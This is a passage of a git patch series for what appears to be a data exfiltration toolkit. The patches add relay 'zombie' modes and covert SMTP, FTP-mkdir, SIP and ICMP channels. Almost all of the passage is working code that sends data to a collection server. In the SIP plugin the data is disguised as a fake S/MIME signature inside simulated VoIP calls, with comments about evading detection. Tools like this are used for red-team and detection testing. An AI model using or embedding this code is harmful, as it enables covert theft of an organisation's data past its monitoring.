base64.b64decode(string) - app_exfiltrate.retrieve_data(data) + self.server.handler(data) except Exception, e: pass - def send(data): - target = "http://{}:{}".format(config['target'], config['port']) + targets = [config['target']] + config['zombies'] + target = "http://{}:{}".format(choice(targets), config['port']) app_exfiltrate.log_message( 'info', "[http] Sending {0} bytes to {1}".format(len(data), target)) data_to_send = {'data': base64.b64encode(data)} requests.post(target, data=data_to_send) +def relay_http_request(data): + target = "http://{}:{}".format(config['target'], config['port']) + app_exfiltrate.log_message( + 'info', "[zombie] [http] Relaying {0} bytes to {1}".format(len(data), target)) + data_to_send = {'data': base64.b64encode(data)} + requests.post(target, data=data_to_send) -def listen(): - app_exfiltrate.log_message('info', "[http] Starting httpd...") +def server(data_handler): try: server_address = ('', config['port']) httpd = HTTPServer(server_address, S) + httpd.handler = data_handler httpd.serve_forever() except: app_exfiltrate.log_message( - 'warning', "[http] Couldn't bind http daemon on port {}".format(port)) + 'warning', "[http] Couldn't bind http daemon on port {}".format(config['port'])) +def listen(): + app_exfiltrate.log_message('info', "[http] Starting httpd...") + server(app_exfiltrate.retrieve_data) -class Plugin: +def zombie(): + app_exfiltrate.log_message('info', "[zombie] [http] Starting httpd...") + server(relay_http_request) +class Plugin: def __init__(self, app, conf): global app_exfiltrate, config config = conf app_exfiltrate = app - app.register_plugin('http', {'send': send, 'listen': listen}) + app.register_plugin('http', {'send': send, 'listen': listen, 'zombie': zombie}) From 4c62bd6a85a68a996c63fab62fdacff807a74e48 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 3 Apr 2017 16:34:27 +0200 Subject: [PATCH 17/43] Dummy zombie() function for the remaining plugins --- plugins/gmail.py | 6 +++++- plugins/google_docs.py | 7 ++++++- plugins/slack.py | 7 +++++-- plugins/twitter.py | 4 +++- 4 files changed, 19 insertions(+), 5 deletions(-) diff --git a/plugins/gmail.py b/plugins/gmail.py index a76fb4e..30b1bf1 100644 --- a/plugins/gmail.py +++ b/plugins/gmail.py @@ -66,6 +66,10 @@ def listen(): time.sleep(2) +def zombie(): + app_exfiltrate.log_message('info', "[zombie] [gmail] Zombie mode unavailable (useless) for gmail plugion...") + + class Plugin: def __init__(self, app, options): @@ -74,5 +78,5 @@ def __init__(self, app, options): gmail_user = options['username'] server = options['server'] server_port = options['port'] - app.register_plugin('gmail', {'send': send, 'listen': listen}) + app.register_plugin('gmail', {'send': send, 'listen': listen, 'zombie': zombie}) app_exfiltrate = app diff --git a/plugins/google_docs.py b/plugins/google_docs.py index 5c25694..b32f641 100644 --- a/plugins/google_docs.py +++ b/plugins/google_docs.py @@ -13,6 +13,11 @@ def send(data): 'info', "[http] Sending {0} bytes to {1}".format(len(data), target)) requests.get(target) +def listen(): + app_exfiltrate.log_message('info', "[Google docs] Listen mode not implemented") + +def zombie(): + app_exfiltrate.log_message('info', "[zombie] [Google docs] Zombie mode not implemented") class Plugin: @@ -20,4 +25,4 @@ def __init__(self, app, conf): global app_exfiltrate, config config = conf app_exfiltrate = app - app.register_plugin('google_docs', {'send': send}) + app.register_plugin('google_docs', {'send': send, 'listen': listen, 'zombie': zombie}) diff --git a/plugins/slack.py b/plugins/slack.py index 80c991b..5b2dfed 100644 --- a/plugins/slack.py +++ b/plugins/slack.py @@ -31,11 +31,14 @@ def listen(): else: app_exfiltrate.log_message('warning', "Connection Failed, invalid token?") +def zombie(): + app_exfiltrate.log_message('info', "[zombie] [slack] Zombie mode unavailable (useless) for Slack plugin") + class Plugin: def __init__(self, app, conf): global app_exfiltrate, config, sc sc = SlackClient(conf['api_token']) config = conf - app.register_plugin('slack', {'send': send, 'listen': listen}) - app_exfiltrate = app \ No newline at end of file + app.register_plugin('slack', {'send': send, 'listen': listen, 'zombie': zombie}) + app_exfiltrate = app diff --git a/plugins/twitter.py b/plugins/twitter.py index d5307cf..d7ca7d5 100644 --- a/plugins/twitter.py +++ b/plugins/twitter.py @@ -67,6 +67,8 @@ def listen(): app_exfiltrate.log_message( 'warning', "[twitter] Couldn't listen for Twitter DMs".format(e)) +def zombie(): + app_exfiltrate.log_message('info', "[zombie] [twitter] Zombie mode unavailable (useless) for twitter plugin...") class Plugin: @@ -74,5 +76,5 @@ def __init__(self, app, conf): global app_exfiltrate, config, USERNAME config = conf USERNAME = config['username'] - app.register_plugin('twitter', {'send': send, 'listen': listen}) + app.register_plugin('twitter', {'send': send, 'listen': listen, 'zombie': zombie}) app_exfiltrate = app From a92490ed0b979f054b7401f77e42824eec632c7b Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Tue, 4 Apr 2017 12:22:06 +0200 Subject: [PATCH 18/43] Pure SMTP plugin --- config-sample.json | 5 +++ plugins/smtp.py | 81 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 86 insertions(+) create mode 100644 plugins/smtp.py diff --git a/config-sample.json b/config-sample.json index d49fe2c..aa5b357 100644 --- a/config-sample.json +++ b/config-sample.json @@ -46,6 +46,11 @@ "api_token": "xoxb-XXXXXXXXXXX", "chan_id": "XXXXXXXXXXX", "bot_id": "<@XXXXXXXXXXX>:" + }, + "smtp": { + "target": "192.168.0.12", + "port": 25, + "zombies": ["192.168.0.13", "192.168.0.14"] } }, "AES_KEY": "THISISACRAZYKEY", diff --git a/plugins/smtp.py b/plugins/smtp.py new file mode 100644 index 0000000..100801a --- /dev/null +++ b/plugins/smtp.py @@ -0,0 +1,81 @@ +import smtpd +import asyncore +import email +import smtplib +from email.mime.text import MIMEText +from random import choice + +config = None +app_exfiltrate = None + +recipient = "recipient@example.com" +author = "author@example.com" +subject = "det:tookit" + +class CustomSMTPServer(smtpd.SMTPServer): + + def process_message(self, peer, mailfrom, rcpttos, data): + body = email.message_from_string(data).get_payload() + app_exfiltrate.log_message('info', "[smtp] Received email "\ + "from {}".format(peer)) + try: + self.handler(body) + except Exception, e: + print e + pass + +def send(data): + targets = [config['target']] + config['zombies'] + target = choice(targets) + port = config['port'] + # Create the message + msg = MIMEText(data) + msg['To'] = email.utils.formataddr(('Recipient', recipient)) + msg['From'] = email.utils.formataddr(('Author', author)) + msg['Subject'] = subject + server = smtplib.SMTP(target, port) + try: + server.sendmail(author, [recipient], msg.as_string()) + except: + pass + finally: + server.close() + +def relay_email(data): + target = config['target'] + port = config['port'] + # Create the message + msg = MIMEText(data) + msg['To'] = email.utils.formataddr(('Recipient', recipient)) + msg['From'] = email.utils.formataddr(('Author', author)) + msg['Subject'] = subject + server = smtplib.SMTP(target, port) + try: + app_exfiltrate.log_message('info', "[zombie] [smtp] Relaying email to {}".format(target)) + server.sendmail(author, [recipient], msg.as_string()) + except: + pass + finally: + server.close() + +def listen(): + port = config['port'] + app_exfiltrate.log_message('info', "[smtp] Starting SMTP server on port {}".format(port)) + server = CustomSMTPServer(('', port), None) + server.handler = app_exfiltrate.retrieve_data + asyncore.loop() + +def zombie(): + port = config['port'] + app_exfiltrate.log_message('info', "[zombie] [smtp] Starting SMTP server on port {}".format(port)) + server = CustomSMTPServer(('', port), None) + server.handler = relay_email + asyncore.loop() + +class Plugin: + + def __init__(self, app, conf): + global app_exfiltrate, config + config = conf + app_exfiltrate = app + app.register_plugin('smtp', {'send': send, 'listen': listen, 'zombie': zombie}) From 8798d8a93d66bf67fe6a24679c31b11578fa1987 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Tue, 4 Apr 2017 17:24:40 +0200 Subject: [PATCH 19/43] FTP mkdir exfiltration plugin --- config-sample.json | 5 +++ plugins/ftp.py | 85 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 90 insertions(+) create mode 100644 plugins/ftp.py diff --git a/config-sample.json b/config-sample.json index aa5b357..5af9597 100644 --- a/config-sample.json +++ b/config-sample.json @@ -51,6 +51,11 @@ "target": "192.168.0.12", "port": 25, "zombies": ["192.168.0.13", "192.168.0.14"] + }, + "ftp": { + "target": "192.168.0.12", + "port": 21, + "zombies": ["192.168.0.13", "192.168.0.14"] } }, "AES_KEY": "THISISACRAZYKEY", diff --git a/plugins/ftp.py b/plugins/ftp.py new file mode 100644 index 0000000..6b8986e --- /dev/null +++ b/plugins/ftp.py @@ -0,0 +1,85 @@ +import logging +from ftplib import FTP +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer +from pyftpdlib.authorizers import DummyAuthorizer +from random import choice + +app_exfiltrate = None +config = None + +user = "user" +passwd = "5up3r5tr0ngP455w0rD" + +class CustomFTPHandler(FTPHandler): + + def ftp_MKD(self, path): + app_exfiltrate.log_message('info', "[ftp] Received MKDIR query from {}".format(self.addr)) + data = str(path).split('/')[-1] + if self.handler == "retrieve": + app_exfiltrate.retrieve_data(data) + elif self.handler == "relay": + relay_ftp_mkdir(data) + # Recreate behavior of the original ftp_MKD function + line = self.fs.fs2ftp(path) + self.respond('257 "%s" directory created.' % line.replace('"', '""')) + return path + +def send(data): + targets = [config['target']] + config['zombies'] + target = choice(targets) + port = config['port'] + try: + ftp = FTP() + ftp.connect(target, port) + ftp.login(user, passwd) + except: + pass + + try: + ftp.mkd(data) + except: + pass + +def relay_ftp_mkdir(data): + target = config['target'] + port = config['port'] + app_exfiltrate.log_message('info', "[zombie] [ftp] Relaying MKDIR query to {}".format(target)) + try: + ftp = FTP() + ftp.connect(target, port) + ftp.login(user, passwd) + except: + pass + try: + ftp.mkd(data) + except: + pass + +def init_ftp(data_handler): + logging.basicConfig(filename="/dev/null", format="", level=logging.INFO) + port = config['port'] + authorizer = DummyAuthorizer() + authorizer.add_user(user, passwd, homedir="/tmp", perm='elradfmw') + + handler = CustomFTPHandler + handler.authorizer = authorizer + handler.handler = data_handler + server = FTPServer(('', port), handler) + server.serve_forever() + +def listen(): + app_exfiltrate.log_message('info', "[ftp] Listening for FTP requests") + init_ftp("retrieve") + +def zombie(): + app_exfiltrate.log_message('info', "[zombie] [ftp] Listening for FTP requests") + init_ftp("relay") + +class Plugin: + + def __init__(self, app, conf): + global app_exfiltrate, config + app_exfiltrate = app + config = conf + app.register_plugin('ftp', {'send': send, 'listen': listen, 'zombie': zombie}) From 2e485921ed9d59d107b37ec0213437a3975a43c3 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 20 Apr 2017 14:03:20 +0200 Subject: [PATCH 20/43] Update requirements.txt --- requirements.txt | 3 +++ 1 file changed, 3 insertions(+) diff --git a/requirements.txt b/requirements.txt index de58f25..c592ce4 100644 --- a/requirements.txt +++ b/requirements.txt @@ -5,3 +5,6 @@ dnslib pycrypto slackclient dpkt +pyftpdlib +email +smtplib From 483d1a33ae1eef2c5ab22fa7fc6b27c73e6653a3 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 20 Apr 2017 14:03:34 +0200 Subject: [PATCH 21/43] SIP plugin - Exfiltration plugin (still experimental) based on the SIP protocol - Exfiltration is done through the signature of the SDP message within the SIP INVITE request - The plugin simulates a legit user-agent behavior during a VoIP call - Requests/Reponses sent over the wire: INVITE -> Trying -> Ringing -> Decline -> ACK (Client calls, servers hangs up, client acknowledges) - Zombie mode not implemented yet --- plugins/sip.py | 250 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 250 insertions(+) create mode 100644 plugins/sip.py diff --git a/plugins/sip.py b/plugins/sip.py new file mode 100644 index 0000000..86851fb --- /dev/null +++ b/plugins/sip.py @@ -0,0 +1,250 @@ +#!/usr/bin/env python + +#inspired from: https://books.google.fr/books?id=cHOmCwAAQBAJ&pg=PA747&lpg=PA747&dq=sdp+smime&source=bl&ots=34LYW5iJyc&sig=4a1szVXKMDtqQWUb0K2gM29AgL8&hl=fr&sa=X&ved=0ahUKEwjbm5Tf1JzTAhUGfxoKHX-UCQUQ6AEIVTAG#v=onepage&q=sdp%20smime&f=false + +from dpkt import sip +import socket +import string +import random +import base64 +import re +import traceback + +config = None +app_exfiltrate = None + +#Ideally replace with real employee names +names = ('alice', 'bob', 'eve', 'kim', 'lorrie', 'ben') +caller, callee = random.sample(names, 2) + +#proxy = "freephonie.net" #Might as well be internal PBX +#domain = 'e.corp' + +class UserAgent: + + def __init__(self, alias, ip, port=None, user_agent=None): + self.alias = alias + self.ip = ip + self.port = port + self.user_agent = 'Linphone/3.6.1 (eXosip2/4.1.0)' + self.tag = ''.join(random.sample(string.digits, 10)) + +class SIPDialog: + + def __init__(self, uac=None, uas=None, proxy=None): + self.call_id = ''.join(random.sample(string.digits, 8)) + self.uac = uac + self.uas = uas + self.branch = 'z9hG4bK' + ''.join(random.sample(string.digits, 10)) + self.proxy = proxy + self.subject = "Phone call" + + def init_from_request(self, req): + self.call_id = req.headers['call-id'] + parser = re.compile(';tag=(.*)') + [(s_alias, s_ip, tag)] = re.findall(parser, req.headers['from']) + parser = re.compile('SIP\/2\.0\/UDP (.*):(\d*)(?:\;rport.*)?\;branch=(.*)') + [(proxy, s_port, branch)] = re.findall(parser, req.headers['via']) + parser = re.compile('') + [(c_alias, c_ip)] = re.findall(parser, req.headers['to']) + user_agent = req.headers['user-agent'] + + self.tag = tag + self.branch = branch + self.uac = UserAgent(c_alias, c_ip) + self.uas = UserAgent(s_alias, s_ip, port=s_port, user_agent=user_agent) + self.proxy = proxy + + def invite(self, uac, uas, payload): + #Call-ID magic identifier + self.call_id = self.call_id[:3] + "42" + self.call_id[5:] + #Branch magic identifier + self.branch = self.branch[:11] + "42" + self.branch[13:] + self.uac = uac + self.uas = uas + self.proxy = self.proxy or '127.0.0.1' #keep calm & blame misconfiguration + packet = sip.Request() + #forge headers + packet.uri = 'sip:' + self.uas.alias + '@'+ self.uas.ip + packet.headers['Via'] = 'SIP/2.0/UDP {}:{};branch={}'.format(self.proxy, self.uac.port, self.branch) + packet.headers['Max-Forwards'] = 70 + packet.headers['CSeq'] = '20 ' + packet.method + packet.headers['From'] = '{} ;tag={}'.format(self.uac.alias.capitalize(), self.uac.alias, self.uac.ip, self.uac.tag) + packet.headers['To'] = '{} '.format(self.uas.alias.capitalize(), self.uas.alias, self.uas.ip) + packet.headers['Contact'] = ''.format(self.uac.alias, self.uac.ip) + packet.headers['Call-ID'] = self.call_id + packet.headers['User-Agent'] = self.uac.user_agent + packet.headers['Subject'] = self.subject + packet.headers['Content-Type'] = 'application/sdp' + packet.headers['Allow'] = 'INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO' + #forge the sdp message + sdp_content = "v=0\r\n" + sdp_content += "o=" + self.uac.alias + " 99 939 IN IP4 " + self.uac.ip + "\r\n" + sdp_content += "s=Talk\r\n" + sdp_content += "c=IN IP4 " + self.uac.ip + "\r\n" + sdp_content += "t=0 0\r\n" + sdp_content += "m=audio 7078 RTP/AVP 124 111 110 0 8 101\r\n" + sdp_content += "a=rtpmap:124 opus/48000\r\n" + sdp_content += "a=fmtp:124 useinbandfec=1; usedtx=1\r\n" + sdp_content += "a=rtpmap:111 speex/16000\r\n" + sdp_content += "a=fmtp:111 vbr=on\r\n" + sdp_content += "a=rtpmap:110 speex/8000\r\n" + sdp_content += "a=fmtp:110 vbr=on\r\n" + sdp_content += "a=rtpmap:101 telephone-event/8000\r\n" + sdp_content += "a=fmtp:101 0-11\r\n" + sdp_content += "m=video 9078 RTP/AVP 103 99\r\n" + sdp_content += "a=rtpmap:103 VP8/90000\r\n" + sdp_content += "a=rtpmap:99 MP4V-ES/90000\r\n" + sdp_content += "a=fmtp:99 profile-level-id=3\r\n" + #forge sdp header + sdp_hdr = "Content-Type: message/sip\r\n" + sdp_hdr += "Content-Length: " + str(len(sdp_content)) + '\r\n' + sdp_hdr += "INVITE sip:{}@{} SIP/2.0".format(self.uas.alias, self.uas.ip) + sdp_hdr += packet.pack_hdr() + sdp_hdr += "\r\n" + #forge the false signature + sig = 'Content-Type: application/x-pkcs7-signature; name="smime.p7s"\r\n' + sig += 'Content-Transfer-Encoding: base64\r\n' + sig += 'Content-Disposition: attachment; filename="smime.p7s"; handling=required\r\n' + sig += base64.b64encode(payload) + #forge sip body + boundary = ''.join(random.sample(string.digits + string.ascii_letters, 20)) + packet.body = '--' + boundary + '\r\n' + packet.body += sdp_hdr + packet.body += sdp_content + '\r\n' + packet.body += '--' + boundary + '\r\n' + packet.body += sig + '\r\n' + packet.body += '--' + boundary + '--' + #replace sip header content-type with multipart/signed + packet.headers['Content-Type'] = 'multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary=' + boundary + #Update Content-Length + packet.headers['Content-Length'] = str(len(packet.body)) + + return packet + + def trying(self, invite): + packet = sip.Response() + packet.status = '100' + packet.reason = 'Trying' + packet.headers['Via'] = invite.headers['via'] + packet.headers['From'] = invite.headers['from'] + packet.headers['To'] = invite.headers['to'] + packet.headers['Call-ID'] = invite.headers['call-id'] + packet.headers['CSeq'] = invite.headers['cseq'] + packet.headers['User-Agent'] = self.uac.user_agent + packet.headers['Content-Length'] = '0' + + return packet + + def ringing(self, invite): + packet = sip.Response() + packet.status = '180' + packet.reason = 'Ringing' + packet.headers['Via'] = invite.headers['via'] + packet.headers['From'] = invite.headers['from'] + packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag) + packet.headers['Call-ID'] = invite.headers['call-id'] + packet.headers['CSeq'] = invite.headers['cseq'] + packet.headers['Contact'] = ''.format(self.uac.alias, self.uac.ip) + packet.headers['User-Agent'] = self.uac.user_agent + packet.headers['Content-Length'] = '0' + + return packet + + def decline(self, invite): + packet = sip.Response() + packet.status = '603' + packet.reason = 'Decline' + packet.headers['From'] = invite.headers['from'] + packet.headers['To'] = invite.headers['to'] + ';tag={}'.format(self.uac.tag) + packet.headers['Call-ID'] = invite.headers['call-id'] + packet.headers['CSeq'] = invite.headers['cseq'] + packet.headers['User-Agent'] = self.uac.user_agent + packet.headers['Content-Length'] = '0' + + return packet + + def ack(self, message): + packet = sip.Request() + packet.method = 'ACK' + packet.uri = 'sip:{}@{}'.format(self.uas.alias, self.uas.ip) + packet.headers['Via'] = message.headers['via'] + packet.headers['From'] = message.headers['from'] + packet.headers['To'] = message.headers['to'] + packet.headers['Call-ID'] = message.headers['call-id'] + packet.headers['CSeq'] = '20 ACK' + packet.headers['Content-Length'] = '0' + + return packet + +def listen(): + port = config['port'] + lsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + lsock.bind(('', port)) + while True: + data, addr = lsock.recvfrom(65535) + try: + req = sip.Request() + req.unpack(data) + if req.method == 'INVITE': + dialog = SIPDialog() + dialog.init_from_request(req) + #Simulate legit softphone responses + trying = dialog.trying(req) + ssock.sendto(trying.pack(), (addr[0], int(dialog.uas.port))) + ringing = dialog.ringing(req) + ssock.sendto(ringing.pack(), (addr[0], int(dialog.uas.port))) + decline = dialog.decline(req) + ssock.sendto(decline.pack(), (addr[0], int(dialog.uas.port))) + #Check if the request is part of exfiltration job + if dialog.branch[11:13] == "42" and dialog.call_id[3:5] == "42": + parser = re.compile('boundary=(.*)') + [boundary] = re.findall(parser, req.headers['content-type']) + #Hackish payload isolation + payload = req.body.split('--'+boundary)[-2].split('\r\n')[-2] + app_exfiltrate.retrieve_data(base64.b64decode(payload)) + except Exception as e: + print traceback.format_exc() + print 'exception: ' + repr(e) + pass + +def send(data): + target = config['target'] + port = config['port'] + lsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + dialog = SIPDialog() + laddr = socket.gethostbyname(socket.getfqdn()) + uac = UserAgent(caller, laddr, port=port) + uas = UserAgent(callee, target, port=port) + invite = dialog.invite(uac, uas, data) + lsock.bind(('', port)) + ssock.sendto(invite.pack(), (target, port)) + while True: + try: + recv_data, addr = lsock.recvfrom(65535) + response = sip.Response() + response.unpack(recv_data) + if response.reason == 'Decline': + ack = dialog.ack(response) + ssock.sendto(ack.pack(), (target, port)) + ssock.close() + lsock.close() + break + else: + continue + except: + pass + break + +def zombie(): + pass + +class Plugin: + + def __init__(self, app, conf): + global app_exfiltrate, config + app_exfiltrate = app + config = conf + app.register_plugin('sip', {'send': send, 'listen': listen, 'zombie': zombie}) From f57f2e26e4a39018a64f7b9a38296afe6f8d3eac Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 20 Apr 2017 17:26:07 +0200 Subject: [PATCH 22/43] Update config file for SIP plugin --- config-sample.json | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/config-sample.json b/config-sample.json index 5af9597..74f8fd7 100644 --- a/config-sample.json +++ b/config-sample.json @@ -56,6 +56,10 @@ "target": "192.168.0.12", "port": 21, "zombies": ["192.168.0.13", "192.168.0.14"] + }, + "sip": { + "target": "192.168.0.12", + "port": 5060 } }, "AES_KEY": "THISISACRAZYKEY", From 8f281b2a9286ce96875cb12835c270ba4a528022 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 24 Apr 2017 14:22:05 +0200 Subject: [PATCH 23/43] Update requirements --- requirements.txt | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/requirements.txt b/requirements.txt index c592ce4..62ec254 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,10 +1,8 @@ tweepy -scapy pysocks dnslib pycrypto slackclient -dpkt +dpkt>=1.9.1 pyftpdlib email -smtplib From c91af5ce6058ad4fdd74ba91755304e685a2b799 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 24 Apr 2017 14:41:10 +0200 Subject: [PATCH 24/43] Simplify ICMP plugin (using dpkt) --- plugins/icmp.py | 65 +++++++++++++++---------------------------------- 1 file changed, 20 insertions(+), 45 deletions(-) diff --git a/plugins/icmp.py b/plugins/icmp.py index ee80a45..7c1a7fc 100644 --- a/plugins/icmp.py +++ b/plugins/icmp.py @@ -1,53 +1,29 @@ -import logging import base64 import socket -from struct import pack -from random import choice +from random import choice, randint +from dpkt import ip, icmp config = None app_exfiltrate = None -# http://wiki.dreamrunner.org/public_html/Python/Python-Things.html -def checksum(source_string): - sum = 0 - countTo = (len(source_string)/2)*2 - count = 0 - while count> 16) + (sum & 0xffff) - sum = sum + (sum >> 16) - answer = ~sum - answer = answer & 0xffff - answer = answer >> 8 | (answer << 8 & 0xff00) - return answer -# end of copy-paste - def send_icmp(dst, data): try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except: - print "root power you must have !" + app_exfiltrate.log_message('warning', "ICMP plugin requires root privileges") sys.exit() ip_dst = socket.gethostbyname(dst) - icmp_type = 8 - icmp_code = 0 - icmp_sum = 0 - icmp_id = 1 - icmp_seq = 1 - icmp_hdr = pack('!BBHHH', icmp_type, icmp_code, icmp_sum, icmp_id, icmp_seq) - icmp_sum = checksum(icmp_hdr + data) - icmp_hdr = pack('!BBHHH', icmp_type, icmp_code, icmp_sum, icmp_id, icmp_seq) - packet = icmp_hdr + data + echo = icmp.ICMP.Echo() + echo.id = randint(0, 0xffff) + echo.seq = 1 + echo.data = data + icmp_pkt = icmp.ICMP() + icmp_pkt.type = icmp.ICMP_ECHO + icmp_pkt.data = echo try: - s.sendto(packet, (ip_dst, 0)) + s.sendto(icmp_pkt.pack(), (ip_dst, 0)) except: + app_exfiltrate.log_message('warning', "ICMP plugin requires root privileges") pass s.close() @@ -70,15 +46,14 @@ def sniff(handler): sock.bind(('', 1)) while True : try: - data = sock.recv(65536) - ip_ihl = ord(data[:1]) & 0x0f - ip_hdr = data[:(ip_ihl)*4] - icmp_data = data[(ip_ihl)*4:] - icmp_type = icmp_data[:1] - if icmp_type == '\x08': - ip_src = socket.inet_ntoa(ip_hdr[-8:-4]) - ip_dst = socket.inet_ntoa(ip_hdr[-4:]) - payload = icmp_data[4:] + data = sock.recv(65535) + ip_pkt = ip.IP() + ip_pkt.unpack(data) + icmp_pkt = ip_pkt.data + if icmp_pkt.type == icmp.ICMP_ECHO: + ip_src = socket.inet_ntoa(ip_pkt.src) + ip_dst = socket.inet_ntoa(ip_pkt.dst) + payload = icmp_pkt.data.data handler(payload, ip_src, ip_dst) except: sock.close() From 78a64c2891deee45e98fd435345c7e0b42fdbd00 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Mon, 24 Apr 2017 14:56:07 +0200 Subject: [PATCH 25/43] Proper zombie targets management - The "zombies" parameter in the config file can now be empty or omitted --- plugins/dns.py | 6 ++++-- plugins/ftp.py | 7 +++++-- plugins/http.py | 7 +++++-- plugins/icmp.py | 7 +++++-- plugins/smtp.py | 7 +++++-- plugins/tcp.py | 7 +++++-- plugins/udp.py | 7 +++++-- 7 files changed, 34 insertions(+), 14 deletions(-) diff --git a/plugins/dns.py b/plugins/dns.py index 09fadf2..04d19fc 100644 --- a/plugins/dns.py +++ b/plugins/dns.py @@ -61,7 +61,10 @@ def sniff(handler): #Max query is 253 characters long (textual representation) #Max label length is 63 bytes def send(data): - targets = config['zombies'] + [config['target']] + if config.has_key('zombies') and config['zombies'] != [""]: + targets = [config['target']] + config['zombies'] + else: + targets = [config['target']] port = config['port'] jobid = data.split("|!|")[0] data = data.encode('hex') @@ -93,7 +96,6 @@ def send(data): q = DNSRecord.question(domain) domain = "" target = choice(targets) - print 'sending to ' + str(target) try: q.send(target, port, timeout=0.01) except: diff --git a/plugins/ftp.py b/plugins/ftp.py index 6b8986e..03a2156 100644 --- a/plugins/ftp.py +++ b/plugins/ftp.py @@ -26,8 +26,11 @@ def ftp_MKD(self, path): return path def send(data): - targets = [config['target']] + config['zombies'] - target = choice(targets) + if config.has_key('zombies') and config['zombies'] != [""]: + targets = [config['target']] + config['zombies'] + target = choice(targets) + else: + target = config['target'] port = config['port'] try: ftp = FTP() diff --git a/plugins/http.py b/plugins/http.py index 45c8294..5135240 100644 --- a/plugins/http.py +++ b/plugins/http.py @@ -36,8 +36,11 @@ def do_GET(self): pass def send(data): - targets = [config['target']] + config['zombies'] - target = "http://{}:{}".format(choice(targets), config['port']) + if config.has_key('zombies') and config['zombies'] != [""]: + targets = [config['target']] + config['zombies'] + target = "http://{}:{}".format(choice(targets), config['port']) + else: + target = "http://{}:{}".format(config['target'], config['port']) app_exfiltrate.log_message( 'info', "[http] Sending {0} bytes to {1}".format(len(data), target)) data_to_send = {'data': base64.b64encode(data)} diff --git a/plugins/icmp.py b/plugins/icmp.py index 7c1a7fc..680acb0 100644 --- a/plugins/icmp.py +++ b/plugins/icmp.py @@ -28,9 +28,12 @@ def send_icmp(dst, data): s.close() def send(data): - targets = [config['target']] + config['zombies'] + if config.has_key('zombies') and config['zombies'] != [""]: + targets = [config['target']] + config['zombies'] + target = choice(targets) + else: + target = config['target'] data = base64.b64encode(data) - target = choice(targets) app_exfiltrate.log_message( 'info', "[icmp] Sending {0} bytes with ICMP packet to {1}".format(len(data), target)) send_icmp(target, data) diff --git a/plugins/smtp.py b/plugins/smtp.py index 100801a..bd5ec66 100644 --- a/plugins/smtp.py +++ b/plugins/smtp.py @@ -25,8 +25,11 @@ def process_message(self, peer, mailfrom, rcpttos, data): pass def send(data): - targets = [config['target']] + config['zombies'] - target = choice(targets) + if config.has_key('zombies') and config['zombies'] != [""]: + targets = [config['target']] + config['zombies'] + target = choice(targets) + else: + target = config['target'] port = config['port'] # Create the message msg = MIMEText(data) diff --git a/plugins/tcp.py b/plugins/tcp.py index 64bb0b0..bc1670b 100644 --- a/plugins/tcp.py +++ b/plugins/tcp.py @@ -6,8 +6,11 @@ app_exfiltrate = None def send(data): - targets = [config['target']] + config['zombies'] - target = choice(targets) + if config.has_key('zombies') and config['zombies'] != [""]: + targets = [config['target']] + config['zombies'] + target = choice(targets) + else: + target = config['target'] port = config['port'] app_exfiltrate.log_message( 'info', "[tcp] Sending {0} bytes to {1}".format(len(data), target)) diff --git a/plugins/udp.py b/plugins/udp.py index d7e9a2b..4cebf05 100644 --- a/plugins/udp.py +++ b/plugins/udp.py @@ -7,8 +7,11 @@ def send(data): - targets = [config['target']] + config['zombies'] - target = choice(targets) + if config.has_key('zombies') and config['zombies'] != [""]: + targets = [config['target']] + config['zombies'] + target = choice(targets) + else: + target = config['target'] port = config['port'] app_exfiltrate.log_message( 'info', "[udp] Sending {0} bytes to {1}".format(len(data), target)) From f90381096a11f76320c6a82158df5933ec13a41b Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 27 Apr 2017 12:26:43 +0200 Subject: [PATCH 26/43] Fix network issues in SIP plugin --- plugins/sip.py | 27 ++++++++++++--------------- 1 file changed, 12 insertions(+), 15 deletions(-) diff --git a/plugins/sip.py b/plugins/sip.py index 86851fb..de92ae7 100644 --- a/plugins/sip.py +++ b/plugins/sip.py @@ -179,11 +179,10 @@ def ack(self, message): def listen(): port = config['port'] - lsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - lsock.bind(('', port)) + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind(('', port)) while True: - data, addr = lsock.recvfrom(65535) + data, addr = sock.recvfrom(65535) try: req = sip.Request() req.unpack(data) @@ -192,11 +191,11 @@ def listen(): dialog.init_from_request(req) #Simulate legit softphone responses trying = dialog.trying(req) - ssock.sendto(trying.pack(), (addr[0], int(dialog.uas.port))) + sock.sendto(trying.pack(), addr) ringing = dialog.ringing(req) - ssock.sendto(ringing.pack(), (addr[0], int(dialog.uas.port))) + sock.sendto(ringing.pack(), addr) decline = dialog.decline(req) - ssock.sendto(decline.pack(), (addr[0], int(dialog.uas.port))) + sock.sendto(decline.pack(), addr) #Check if the request is part of exfiltration job if dialog.branch[11:13] == "42" and dialog.call_id[3:5] == "42": parser = re.compile('boundary=(.*)') @@ -212,25 +211,23 @@ def listen(): def send(data): target = config['target'] port = config['port'] - lsock = socket.socket(socket.AF_INET, 